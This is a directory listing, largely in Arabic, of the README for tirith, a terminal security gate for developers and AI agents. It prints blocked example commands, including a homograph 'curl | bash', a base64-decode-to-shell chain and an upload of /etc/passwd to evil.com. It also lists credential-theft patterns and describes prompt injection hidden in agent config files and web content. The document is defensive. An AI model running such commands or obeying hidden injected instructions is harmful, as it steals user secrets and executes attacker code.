Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
tirith — أمان الطرفية للمطورين وعملاء الذكاء الاصطناعي. يعترض عناوين URL المتجانسة (homograph)، والأنابيب إلى الشل (pipe-to-shell)، وحقن ANSI، والحمولات المشوشة، وتسريب البيانات، ومهارات/إعدادات الذكاء الاصطناعي الخبيثة قبل تنفيذها. | Kitploit
أدوات/GitHubGitHub/sheeki03/tirith
الاستخبارات مفتوحة المصدر (OSINT)أدوات التصيدماسحات الثغرات الأمنيةتسريب البياناتتحليل البرمجيات الخبيثةDevSecOpsكشف الأسراراستخبارات التهديداتأمن سلسلة التوريدالتعلم والتعليمموارد منسقةالأفضل في الاستخبارات مفتوحة المصدر (OSINT) #19
2.7k90منذ 8 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubsheeki03/tirith

tirith

أمان الطرفية للمطورين وعملاء الذكاء الاصطناعي. يعترض عناوين URL المتجانسة (homograph)، والأنابيب إلى الشل (pipe-to-shell)، وحقن ANSI، والحمولات المشوشة، وتسريب البيانات، ومهارات/إعدادات الذكاء الاصطناعي الخبيثة قبل تنفيذها.

عرض المستودعالموقع الإلكتروني

tirith

متصفحك سيلتقط هذا. محطتك الطرفية لن تفعل.

tirith, أمان الطرفية

CI GitHub Stars License: AGPL-3.0

الموقع الإلكتروني | المستندات | SKILL.md | سجل التغييرات

Vercel OSS Program

مشروع مفتوح المصدر مستقل، مع استضافة مدعومة من برنامج Vercel للمصادر المفتوحة (دفعة ربيع 2026).


هل يمكنك اكتشاف الفرق؟``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised

root@kitploit:~
لا يمكنك. ولا يمكنك ذلك لطرفيتك. كلا الحرفين `і` هما من السيريلية (U+0456)، وليسا اللاتينية `i`. الرابط الثاني يحل إلى خادم المهاجم. يتم تنفيذ السكريبت قبل أن تلاحظ.

حلت المتصفحات هذه المشكلة منذ سنوات. لا تزال الأطراف الطرفية تعرض Unicode، وهروب ANSI، والأحرف غير المرئية دون تساؤل. تقوم وكلاء الذكاء الاصطناعي بتشغيل أوامر الشل وتثبيت الحزم دون فحص ما بداخلها.

**يقف تيريث عند البوابة.** يعترض الأوامر، والمحتوى الملصق، والملفات الممسوحة ضوئيًا بحثًا عن روابط متجانسة الشكل، والحمولات المبهمة، وتسريب بيانات الاعتماد، والمهارات/التكوينات الخبيثة للذكاء الاصطناعي، والحزم/النطاقات/عناوين IP المعروفة بأنها ضارة من قاعدة بيانات استخبارات التهديدات الموقعة قبل تنفيذها.```bash
brew install tirith

ثم قم بتفعيله في ملف تعريف الشل الخاص بك:```bash

zsh

eval "$(tirith init --shell zsh)"

bash

eval "$(tirith init --shell bash)"

fish

tirith init --shell fish | source

root@kitploit:~
> [!TIP]
> `eval "$(tirith init)"` يكتشف تلقائيًا شلّك الحالي (يفحص العملية الأم ويعود إلى `$SHELL` إذا لزم الأمر). العلامة الصريحة `--shell` مطلوبة فقط عندما تريد تجاوز عملية الاكتشاف.

هذا كل شيء. كل أمر تشغّله الآن محمي. بدون أي احتكاك عند الإدخال النظيف. زمن استجابة أقل من ميلي ثانية. ستنسى وجوده حتى ينقذك.

متوفر أيضًا عبر [npm](#cross-platform) و [cargo](#cross-platform) و [mise](#cross-platform) و [apt/dnf](#linux-packages) و [المزيد](#install).

---

## شاهده أثناء العمل

**Homograph attack، تم حظره قبل التنفيذ:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

الأمر لا يُنفَّذ أبدًا.

Pipe-to-shell مع URL نظيف، تم التحذير، لم يتم الحظر:``` $ curl -fsSL https://get.docker.com | sh

tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.

root@kitploit:~
تحذير يطبع إلى stderr. الأمر لا يزال يعمل.

**سلسلة فك الترميز والتنفيذ Base64، محظورة:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

تصطاد سلاسل فك التشفير عبر أغلفة sudo/env وPowerShell -EncodedCommand أيضًا.

تسريب بيانات الاعتماد، تم الحظر:``` $ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server

root@kitploit:~
يغطي جميع أعلام تحميل curl/wget، ومتغيرات البيئة (`$AWS_SECRET_ACCESS_KEY`)، واستبدال الأوامر.

**ملف مهارة خبيث، تم اكتشافه أثناء الفحص:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

يفحص ملفات JS/Python للبحث عن الحمولات المُموّهة، وتنفيذ الكود الديناميكي، وأنماط تسريب الأسرار.

الأوامر العادية، غير مرئية:``` $ git status $ ls -la $ docker compose up -d

root@kitploit:~
لا شيء. مخرجات صفرية. لقد نسيت أن tirith قيد التشغيل.

---

## ما يلتقطه

**221 قاعدة كشف عبر 34 فئة.**

| الفئة | ما يوقفه |
|----------|--------------|
| **هجمات التماثل** | محاكاة سيريلية/يونانية في أسماء المضيفين، نطاقات punycode، تسميات مختلطة النص، نطاقات TLD متشابهة، نطاقات مربكة، كشف التباس على مستوى النص (أحرف رياضية ألفبائية، نص مختلط في نفس الكلمة) |
| **حقن الطرفية** | تسلسلات هروب ANSI، تجاوزات bidi، أحرف عرض صفر، علامات يونيكود، عوامل رياضية غير مرئية، محددات التباين، حشوات Hangul |
| **دفاع ستيغانوغرافي** | ترميز مسافات بيضاء غير مرئية (12 متغير مسافة يونيكود)، فاصل العلة المنغولية، حروف حشو Hangul، استبدال ألفبائي رياضي، دفاعات ضد ستيغانوغرافيا النص من نوع st3gg |
| **الأنابيب إلى الصدفة** | `curl \| bash`، `wget \| sh`، `httpie \| sh`، `xh \| sh`، `python <(curl ...)`، `eval $(wget ...)`، كل نمط من مصدر إلى صرف |
| **فك تشفير Base64 وتنفيذ** | `base64 -d \| bash`، `python -c "exec(b64decode(...))"`، `powershell -EncodedCommand`، سلاسل فك التشفير عبر أغلفة sudo/env |
| **سرقة البيانات** | `curl -d @/etc/passwd`، `curl -T ~/.ssh/id_rsa`، `wget --post-file`، رفع متغيرات البيئة (`$AWS_SECRET_ACCESS_KEY`)، سرقة عبر استبدال الأوامر |
| **فحص ملفات الكود** | حمولات مشوشة (`eval(atob(...))`)، تنفيذ كود ديناميكي (`exec(b64decode(...))`)، سرقة الأسرار عبر `fetch`/`requests.post` في ملفات JS/Python |
| **كشف بيانات الاعتماد** | مفاتيح AWS، رموز GitHub PAT، رموز Stripe/Slack/SendGrid/Anthropic/GCP/npm، كتل المفاتيح الخاصة، بالإضافة إلى كشف عام للأسرار قائم على الإنتروبيا |
| **سلوك ما بعد الاختراق** | كشط ذاكرة العملية (`/proc/*/mem`)، تصعيد الصلاحيات عن بعد لـ Docker، مسح ملفات بيانات الاعتماد، معايرة ضد أدوات ما بعد الاختراق TeamPCP و UNC1069 |
| **سلامة الأوامر** | الكتابة فوق ملفات dot، استخراج الأرشيف إلى مسارات حساسة، الوصول إلى نقطة نهاية بيانات السحابة، الوصول إلى الشبكة الخاصة |
| **نقل غير آمن** | HTTP عادي موجه إلى الصدفة، `curl -k`، تعطيل التحقق من TLS، عناوين URL مختصرة تخفي الوجهات |
| **البيئة** | اختطاف البروكسي، تصدير بيئة حساسة، حقن كود عبر البيئة، اختطاف المفسر، حقن الصدفة عبر البيئة |
| **أمان ملفات الإعدادات** | حقن الإعدادات، مؤشرات مشبوهة، يونيكود غير ASCII/غير مرئي في الإعدادات، أمان خادم MCP (غير آمن/غير موثوق/مكرر/متساهل) |
| **تهديدات النظام البيئي** | انتحال أسماء استنساخ Git، سجلات Docker غير موثوقة، تثبيتات URL من pip/npm، نقاط نهاية RPC في web3، vet-not-configured |
| **سلامة أمر التثبيت** | إضافة مستودعات APT من خلف تنزيل موجه، `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / `SigLevel = Never` (فحوصات التوقيع المعطلة)، `kubectl apply -f` ضد بيانات عن بعد خام/مختصرة، رسوم Helm من مستودعات غير موثوقة، وحدات Terraform من مصادر بعيدة غير موثوقة، `brew install`/`tap` من عناوين URL عشوائية |
| **تحليل المسار** | مسارات غير ASCII، متجانسات في المسارات، تشفير مزدوج |
| **المحتوى المعروض** | محتوى CSS/لون مخفي، سمات HTML مخفية، تحليل محتوى التعليقات (حقن التعليمات عند المستوى العالي، أوامر مدمرة عند المستوى المتوسط) |
| **كشف التمويه** | تمويه من جانب الخادم (بوت مقابل متصفح)، محتوى حافظة مخفي، نص PDF مخفي |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`، استثناءات Windows Defender (`Add-MpPreference -Exclusion*`)، تنزيل وتنفيذ `iex (iwr ...)` بشكل مضمن |
| **دفاع مخرجات الطرفية** | كتابات الحافظة OSC 52، أوامر وهمية، معالجة الرابط واللقب/مسح الشاشة OSC 8، حقن التعليمات داخل أمر أو مخرجات أداة MCP (تم مسحها ضوئيًا بشكل خام ومزيل التعتيم، لذلك يتم أيضًا اكتشاف الأحرف غير المرئية، المربكة، المتباعدة، leetspeak، وهروب base64/hex القصير)، وسرقة بيانات المخرجات (عناوين URL منارة أو توجيهات "اقرأ سرًا ثم أرسله") |
| **السياق التشغيلي** | أوامر مدمرة ضد سياقات السحابة / k8s المحددة كإنتاج، ومضيفي SSH، تطبيق Terraform / Pulumi / OpenTofu بدون خطة محفوظة مطابقة، تصعيد sudo محفوف بالمخاطر، `docker run` مميز |
| **محطة العمل والاستمرارية** | ملفات بيانات اعتماد ذات أذونات فضفاضة ورموز نصية (`~/.ssh`، `~/.aws`، `.npmrc`)، فتحات استمرارية (shell rc، `authorized_keys`، كرونتاب، LaunchAgents، git `core.hooksPath`)، ترتيب اختطاف PATH، مصدر التنفيذ، أسماء مستعارة خطرة، دورة حياة متغيرات البيئة الحساسة |
| **نطاق الانفجار والارتباط** | حذف يهرب من المستودع، حذف جماعي، تنفيذ ملفات تم تنزيلها من مصادر خطرة، وسلاسل جلسات مثل كتابة سر ثم شبكة أو حذف ثم `git push --force` |
| **الثقة والشهادة والمصدر** | عدم تطابق بطاقة الأوامر الموقعة، لمس رموز العسل الكناري، عدم تطابق مصدر اللصق، رفض سياسة المتصل (الوكيل)، انحراف ملف قفل MCP، وانحراف إعدادات الذكاء الاصطناعي عن لقطة أمنة معروفة |

---

## ما لا يحمي منه tirith

يحلل Tirith **بنية** الأوامر والنصوص المُلصقة والملفات قبل تنفيذها. إنها بوابة ما قبل التنفيذ، وليس دفاعًا في وقت التشغيل، ولا تغطي:

- **الحماية في وقت التشغيل:** يحذر tirith أو يمنع؛ لا يقوم بعزل أو حجر الأمر بمجرد تشغيله.
- **مراقبة الشبكة بعد التنفيذ:** ما يفعله عملية على الشبكة بعد الإطلاق خارج النطاق.
- **كشف البرامج الضارة / الحمولة:** يحلل tirith البنية، وليس سلوك الحمولة. إنه ليس برنامج مكافحة فيروسات ولا يقوم بالتفجير أو مطابقة التوقيع. (`tirith run` يتحقق من بنية البرنامج النصي المُنزّل، ولكن ليس تحليل البرامج الضارة).
- **مهاجم مميز (جذر/مدير):** أي شخص لديه صلاحيات جذر أو مدير يمكنه تجاوز tirith بسهولة. إنه يدافع ضد الإدخال المخادع، وليس ضد مهاجم يمتلك الجهاز بالفعل.
- **مكافحة التصحيح / مكافحة العبث:** لا يقاوم tirith الهندسة العكسية ولا يحمي ثنائيه من مهاجم محلي.

انظر [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md) لنموذج التهديد الكامل والأهداف غير المضمنة الصريحة.

---

## القيود المعروفة

- **هشاشة خطاف القشرة:** تعتمد الحماية على بقاء خطاف القشرة مثبتًا ونشطًا. يمكن أن تنكسر الخطافات أو تتدهور بصمت عبر القذائف، إصدارات القذائف، أطر المطالبات، وأدوات التاريخ. قم بتشغيل `tirith doctor` للتحقق من الحالة المباشرة وراقب التدهور التحذيري فقط.
- **ميزات Unix فقط:** وضع الخفي، `tirith setup`، `tirith run`، و `tirith fetch` هي فقط في Unix اليوم.
- **نطاق استخراج اسم الحزمة:** يغطي أنظمة اللغة البيئية (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle)، وليس مديري حزم التوزيعات (`apt`, `dnf`, `yum`, `pacman`).
- **تحذيرات وكيل الذكاء الاصطناعي:** اعتراض خطاف القشرة يحمي فقط الأوامر التي تمر عبر قشرة تفاعلية مرتبطة. لا يتم تغطية الوكيل الذي يولد قشرة غير تفاعلية، أو يستدعي `exec` مباشرة، أو يعمل بدون تحميل الخطاف. حماية MCP استشارية (يجب على الوكيل استدعاء أدوات MCP الخاصة بـ tirith)، وليست إلزامية.

---

## معلومات التهديدات

يوزع Tirith قاعدة بيانات تهديدات محلية موقعة لسمعة الحزمة واسم المضيف وعنوان IP. عندما يرى خطاف القشرة أو `tirith check` تثبيت حزمة أو مرجع بنية تحتية مشبوه، فإنه يطابق هذا الإدخال مع قاعدة البيانات قبل تنفيذ الأمر، بدلاً من الاعتماد فقط على الاستدلالات الثابتة.

**قاعدة بيانات موقعة** (تُبنى يوميًا بواسطة CI، تُتحقق عند التنزيل والتحميل):

- حزم خبيثة معروفة من [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) و [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- بنية تحتية لعناوين IP خبيثة من [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- انتحالات أسماء مؤكدة وخطوط أساسية للحزم الشائعة من [ecosyste.ms](https://ecosyste.ms/)
- كتالوج [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) لربط الاستشارات في وقت التشغيل

**خلاصات إضافية اختيارية** (طبقة محلية للمستخدم):

- [URLhaus](https://urlhaus.abuse.ch/) و [ThreatFox](https://threatfox.abuse.ch/) عبر مفتاح auth من abuse.ch
- قوائم حظر [PhishTank](https://phishtank.org/) (Cisco Talos) و [Phishing Army](https://phishing.army/)
- قائمة عقد الخروج من Tor من [Tor Project](https://www.torproject.org/)

**إثراء مباشر اختياري** أثناء `tirith check` ووضع الخفي:

- بحث استشاري [OSV.dev](https://osv.dev/) (Google OSS)
- إشارات صحة الحزمة من [deps.dev](https://deps.dev/) (Google OSS) وبيانات المشرف من [ecosyste.ms](https://ecosyste.ms/)
- سمعة URL من [Google Safe Browsing](https://safebrowsing.google.com/) باستخدام مفتاح API الخاص بك```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

بشكل افتراضي، تقوم خطافات الصدفة وأمر tirith check ببدء فحص تحديث خلفي رخيص كل 24 ساعة. يحافظ وضع الخفيان على نفس مسار الإثراء دافئًا في الخلفية.

يقبل أمر threat-db explain نطاقًا، أو اسم حزمة (name، أو ecosystem:name، أو name@version)، أو عنوان IPv4. لا يحتفظ الثنائي بأي تاريخ لكل إدخال، لذا يبلغ threat-db diff عن الفروقات في الفئة وإجماليات كل مصدر بين اللقطات، وليس الإدخالات الدقيقة التي تغيرت. يأخذ كل أمر threat-db الوسيطة --format json؛ threatdb هو اسم مستعار.

تقييم مخاطر الحزمة

يقوم tirith package risk <ecosystem> <name> بتقييم مخاطر سلسلة التوريد / المسؤول عن الحزمة بنفس الطريقة التي يقيم بها tirith score عنوان URL، وهي مجموع حتمي وقابل للتفسير بالكامل لعوامل مسماة، بدون نموذج وبدون أوزان مستفادة. يضيف tirith package explain <ecosystem> <name> التحليل عاملًا بعامل؛ كلاهما يقبل الوسيطة --format json.```bash tirith package risk npm react # 0/100, a known-popular package tirith package risk npm reqeusts # high, one edit from a popular name tirith package explain pypi flask # factor-by-factor derivation tirith package risk npm left-pad --path ./node_modules/left-pad tirith package risk --online npm react # also consult the registry API

root@kitploit:~
**غير متصل بشكل افتراضي.** بدون أي علامات، تكون كل إشارة محلية، دون اتصال بالشبكة: (1) **الاسم مقابل الحزم الشائعة**: معروف-شائع، غير معروف، أو اقتراب تعديل واحد من اسم شائع (الشكل الكلاسيكي للانتحال/الانتحال البطيء)، من مجموعة `popular` المحلية في قاعدة بيانات التهديدات؛ (2) **انتحال ضار معروف**: تطابق تام في فهرس `typosquat` لقاعدة بيانات التهديدات؛ (3) **نصوص التثبيت/دورة الحياة** و (4) **الكتل الثنائية المرفقة**، يتم اكتشافها فقط عندما يكون محتوى الحزمة متاحًا محليًا (تحت `node_modules` / `site-packages`، أو عبر `--path`). **لا يقوم tirith مطلقًا بتنزيل** الحزمة.

**`--online` يضيف مصدر السجل.** يستشير سجل الحزمة (npm، PyPI، أو crates.io) لستة عوامل إضافية في نفس نموذج مجموع العوامل: عمر الحزمة/الإصدار، حزمة ثابتة بدون مالكين، زيادة غير طبيعية في الإصدار، تنزيلات منخفضة جدًا، مستودع مصدر مفقود، وحالة مسحوبة/مهملة. إنه المسار الوحيد الذي يلمس الشبكة (ليس مسار `check` السريع أبدًا)؛ `--offline` / `TIRITH_OFFLINE` تفرض العمل دون اتصال بغض النظر. تعود حالات الفشل إلى النتيجة دون اتصال مع `api signals: unavailable` صادقة، ويتم تخزين الاستجابات مؤقتًا مع TTL بحيث لا تؤدي عمليات التشغيل المتكررة إلى إرهاق السجلات.

النتيجة استشارية ومستقلة: `package risk` ليست قاعدة كشف ولا تغير أي حكم أو رمز خروج أو سجل تدقيق.

### Ecosystem scan, supply-chain firewall

`tirith ecosystem scan [path]` هو الرفيق على مستوى الدليل لـ `package risk`. يقوم بجولة في المشروع، ويكتشف كل ملف تعريف تبعية يفهمه، npm (`package.json`, `package-lock.json`)، Python (`requirements*.txt`, `pyproject.toml`)، Rust (`Cargo.toml`)، Go (`go.mod`)، Ruby (`Gemfile`)، ويسجل **كل تبعية معلنة** باستخدام نفس محرك العوامل الحتمي `package_risk`.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

يحتوي على كشف السلقسكوات (slopsquat). السلقسكوتينغ (Slopsquatting) هو تسجيل اسم معقول ولكنه مزيف تميل نماذج اللغة الكبيرة (LLMs) إلى تخيله كاعتماد. ecosystem scan يشير إلى واحد فقط عندما تتحقق الثلاثة جميعًا: الاسم ليس معروفًا حقيقيًا أو شائعًا، وهو مُشكّل كتخيل AI (بادئة لغة مثل python- / node- بالإضافة إلى رموز وصفية، أو كومة من مواد حشو عامة مثل helper / utils / client، أو اسم طويل بشكل غير عادي)، و يقع بالقرب من اسم حقيقي شائع (قريب من خطأ بتحرير واحد، أو يحتوي على اسم شائع ككلمة). اشتراط الثلاثة يحافظ على انخفاض النتائج الإيجابية الخاطئة: اسم صريح مثل data-utils بدون مرساة شائعة لا يطلق إنذارًا.

غير متصل بالإنترنت افتراضيًا، مع خيار --online اختياري. إشارات الأسماء والتشابه الإملائي تأتي من قاعدة بيانات التهديدات المحلية؛ --online يضيف سجل المصدر، مع تحديد السرعة والتدهور تمامًا مثل package risk --online، ولا يكون أبدًا على المسار الساخن check. تتدفق النتائج من خلال نموذج tirith العادي Verdict / Finding: قابلة للشرح (tirith explain --rule threat_suspicious_package)، مسجلة في السجلات، وتحترم قائمة السماح للسياسة (يتم قمع حزمة موجودة في قائمة السماح، سواء بالاسم المجرد أو ecosystem:name). رموز الخروج تتطابق مع tirith scan: 1 لنتيجة حظر، 2 لتحذير، 0 عند النظافة.

يساعد هذا في اكتشاف الحزم الخبيثة المعروفة، والتشابهات الإملائية المؤكدة، وأسماء الحزم المسلقسكوتة، وبنية التنزيل الخبيثة، والحزم التي تحتوي على بيانات استشارية حية من OSV / CISA KEV.

الهجمات التي صُمم tirith لمواجهتها (توضيحية، وليست ادعاءً بأن الكود الحالي يلتقطها):

يغطي استخراج اسم الحزمة حاليًا أنظمة اللغة البيئية (pip، npm/yarn/pnpm/bun، cargo، gem، go، composer، dotnet، mvn/gradle)، وليس مديري الحزم على مستوى التوزيعات (apt / dnf / yum / pacman). لهذا السبب فإن xz-utils، الذي دخل من خلال أرشيفات توزيعات Linux، ليس في الجدول على الرغم من كونه حادثة بارزة.


أمان وكيل AI

يحمي Tirith وكلاء ترميز AI على كل المستويات، بدءًا من التكوينات التي يقرؤونها إلى الأوامر التي ينفذونها.

خطافات الشل (Shell hooks)، اعتراض الأوامر السلبي

عندما ينفذ وكلاء AI أوامر الشل (Claude Code، Codex، Cursor، إلخ)، تعترض خطافات شل tirith كل أمر قبل تشغيله. لا حاجة لتكوين من جانب الوكيل، إذا كانت الخطافات نشطة في الشل، فجميع الأوامر محمية:

  • يمنع الأوامر الخطيرة: عناوين URL المتجانسة، الأنابيب إلى الشل، التنزيلات غير الآمنة
  • يمنع اللصق الخبيث: حقن ANSI، هجمات bidi، أسطر متعددة مخفية في المحتوى الملصق
  • يعمل مع كل وكيل: أي أداة تستدعي شلًا ترث حماية tirith
  • بدون تعديل الوكيل: لا يعلم الوكيل بوجود tirith حتى يتم حظر أمر

استخدم tirith setup <tool> للتكوين بأمر واحد (انظر تكاملات وكيل AI).

خادم MCP (7 أدوات)

قم بتشغيل tirith mcp-server أو استخدم tirith setup <tool> --with-mcp لتسجيل tirith كخادم MCP. يمكن لوكلاء AI استدعاء هذه الأدوات قبل اتخاذ إجراء:

حوكمة خادم MCP

tirith mcp lock يلتقط كل خادم MSP يعلنه مستودع، عبر .mcp.json / mcp.json / mcp_settings.json ومتغيرات تكوين IDE (.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/)، في ملف قفل حتمي في .tirith/mcp.lock. يتم تسجيل كل خادم مع نقله (عنوان URL عن بُعد، أو أمر محلي + وسائط)، والأدوات المعلنة، وتجزئة المحتوى؛ يتم فرز الخوادم حسب الاسم ليكون ملف القفل مناسبًا للفرق. الاكتشاف محلي للمستودع فقط ولا يمس أي شبكة. (tirith mcp هي مجموعة أوامر منفصلة عن tirith mcp-server، الذي يشغل tirith خادم MCP.)

tirith mcp verify هو الرفيق الحارس: يعيد بناء المخزون الحالي مقابل ملف القفل الملتزم ويخرج بـ 1 في حالة الانجراف (0 للمطابقة، 2 لأخطاء الاستخدام مثل عدم وجود ملف القفل). tirith mcp diff يبلغ عن نفس معلومات الانجراف (دائمًا يخرج بـ 0، 2 فقط لأخطاء الاستخدام، بحيث يمكن للمستهلك التمييز بين "لا انجراف" و "لا يمكن التحقق"). يظهر الانجراف أيضًا من خلال tirith scan كـ mcp_server_drift (متوسط)، لذلك يلتقط خطاف ما قبل الالتزام أو CI تغيير سطح MCP بنفس الطريقة التي يلتقط بها إجراء غير مثبت. verify / diff لا يطبعان أبدًا قيم البيئة أو معلومات المستخدم لعناوين URL، فقط أسماء ما تغير.

حقلان من السياسة يحكمان ما هو مقبول: scan.trusted_mcp_servers يقمع نتائج التكوين لخادم ويسكت انجرافه، و scan.mcp_allowed_tools يعلن الأدوات الدقيقة التي قد يعرضها كل خادم (أداة خارج تلك المجموعة تظهر نتيجة عالية mcp_server_drift، والانجراف الذي يضيف مثل هذه الأداة يرفع المتوسط إلى عالي). tirith mcp policy init يبني كلتا الكتلتين من ملف القفل الحالي إلى .tirith/mcp-policy.yaml.example، كل إدخال مُعلق حتى لا يؤدي الاستيراد إلى توسيع الثقة بصمت.

فحص ملفات التكوين

tirith scan يكتشف حقن الأوامر والحمولات المخفية في ملفات تكوين AI. يعطي الأولوية ويفحص أكثر من 50 نمطًا معروفًا لملفات تكوين AI:

  • .cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md
  • إعدادات .claude/، الوكلاء، المهارات، الإضافات، القواعد
  • تكوينات .cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/
  • mcp.json, .mcp.json,

ما يلتقطه في التكوينات:

  • حقن الأوامر (مشغلات تنشيط المهارة، محاولات تجاوز الإذن، رفض السلامة، إعادة تعيين الهوية، تعليمات تجاوز عبر الأدوات). يتم فحص كل ملف خامًا ومزيل الغموض (أحرف غير مرئية، محرفات مربكة، تباعد بين الأحرف، leetspeak، base64 / hex قصير)، لذا فإن بذرة مخبأة خلف التشفير لا تزال تشتعل
  • يونيكود غير مرئي: أحرف عرض صفري (بما في ذلك فاصل حرف العلة المنغولي)، تحكمات bidi، واصلات ناعمة، علامات يونيكود، حشوات هانغول، ترميز مسافة بيضاء غير مرئية، محرفات مربكة رياضية ألفبائية رقمية
  • مشكلات تكوين MCP: اتصالات HTTP غير آمنة، خوادم IP خام، أحرف شل وصفية في الوسائط، أسماء خوادم مكررة، وصول أداة wildcard

فحص سلسلة التوريد CI / المستودع

tirith scan يفحص أيضًا الملفات التي يسجلها المستودع لوصف خط البناء والنشر الخاص به. يكتشف النمط الخطير، وليس الأداة: إجراء مثبت SHA، صورة مثبتة digest، وحدة Terraform محلية، و package.json عادي تبقى نظيفة.

ما يلتقطه في ملفات CI / البنية التحتية:

  • سير عمل GitHub Actions (.github/workflows/*.yml)، مرجع uses: لإجراء مثبت على مرجع قابل للتغيير (@v3, @main) بدلاً من SHA commit؛ مشغل pull_request_target؛ أنبوب curl … | bash إلى شل في خطوة run:؛ قيمة ${{ github.event.* }} يمكن السيطرة عليها من قبل المهاجم مدمجة في خطوة شل run: (حقن النص)
  • Dockerfiles: صورة أساس FROM على علامة latest قابلة للتغيير (أو بدون علامة) بدون تثبيت digest @sha256:
  • Terraform (*.tf)، كتلة module مصدرها موقع بعيد / غير موثوق بدلاً من مسار محلي أو سجل Terraform

ثلاث قيم --profile مضمنة تضبط الفحص: ci-hardening (كل فحص بأقصى قوة، فشل عند high)، ai-agent-repo (يحتفظ بنتائج الحقن، يتجاهل ضوضاء النظافة منخفضة القيمة)، و oss-maintainer (يركز على المخاطر التي يمكن المساهم التحكم بها عند مراجعة التغيير).```bash tirith scan ./ # scan the repo tirith scan --profile ci-hardening ./ # tune for CI/CD hardening tirith scan --format sarif ./ > out.sarif

root@kitploit:~
### كشف المحتوى المخفي

يكتشف المحتوى غير المرئي للبشر ولكن يمكن قراءته بواسطة الذكاء الاصطناعي في HTML و Markdown و PDF:

- **الإخفاء باستخدام CSS**: `display:none`، `visibility:hidden`، `opacity:0`، `font-size:0`، التموضع خارج الشاشة
- **الإخفاء باستخدام الألوان**: نص أبيض على أبيض، تشابه كبير بين الأمامية والخلفية (نسبة تباين < 1.5:1)
- **تعليقات HTML/Markdown**: عبارات حقن موجه (عالية)، أوامر تخريبية مثل `rm -rf` أو `curl|bash` (متوسطة)، تعليقات طويلة تخفي تعليمات (منخفضة)
- **نص PDF المخفي**: نص مرسوم بدقة بكسلات فرعية (حجم الخط < 1px) غير مرئي للقارئ لكن يمكن تحليله بواسطة LLMs

### فحص الملفات ذات الصلة بالذكاء الاصطناعي للمحتوى المخفي

`tirith scan` يفحص أيضاً أنواع الملفات التي يقرأها ويعمل عليها وكيل الترميز AI (أو محرك التقديم)، باحثاً عن محتوى **تم تهريبه متجاوزاً المراجع البشري**. دفتر ملاحظات عادي، ملف `CLAUDE.md` عادي مع تعليمات مرئية، وصورة SVG بسيطة تبقى نظيفة، فقط المحتوى المخفي/المهرب يثير إنذاراً.

- **دفاتر Jupyter** (`*.ipynb`): أحرف غير مرئية / ثنائية الاتجاه / عرض صفر في مصدر الخلية، كتلة مشفرة بـ base64 مدمجة في المصدر، خلية مخفية عن العرض المُقدّم (`metadata.jupyter.source_hidden` / علامة `hide_input`)، ومخرجات الخلية التي تحمل أحرفاً غير مرئية أو HTML نشطة/مخفية
- **ملفات تعليمات وكيل AI** (`CLAUDE.md`، `AGENTS.md`، `.cursorrules` وما شابه): فقط التوجيهات *المخفية*: تعليمة داخل تعليق HTML (غير مرئي في Markdown المُقدّم) أو عنصر HTML مخفي بصرياً. هذه الملفات تحتوي بشكل شرعي على تعليمات مرئية، لذا التعليمات المرئية العادية لا تثير إنذاراً أبداً
- **صور SVG** (`*.svg`): `<script>` مضمن، معالج حدث `on*` مضمن، URI من نوع `javascript:`، `xlink:href` / `href` عن بعد، أو إعلان كيان خارجي XXE

### كشف التمويه (Cloaking)

`tirith fetch` يقارن استجابات الخادم عبر 6 وكلاء مستخدم (Chrome، ClaudeBot، ChatGPT-User، PerplexityBot، Googlebot، curl) لاكتشاف عندما يقدم الخوادم محتوى مختلفاً لروبوتات AI مقابل المتصفحات.

---

## السياق التشغيلي وحراس محطة العمل

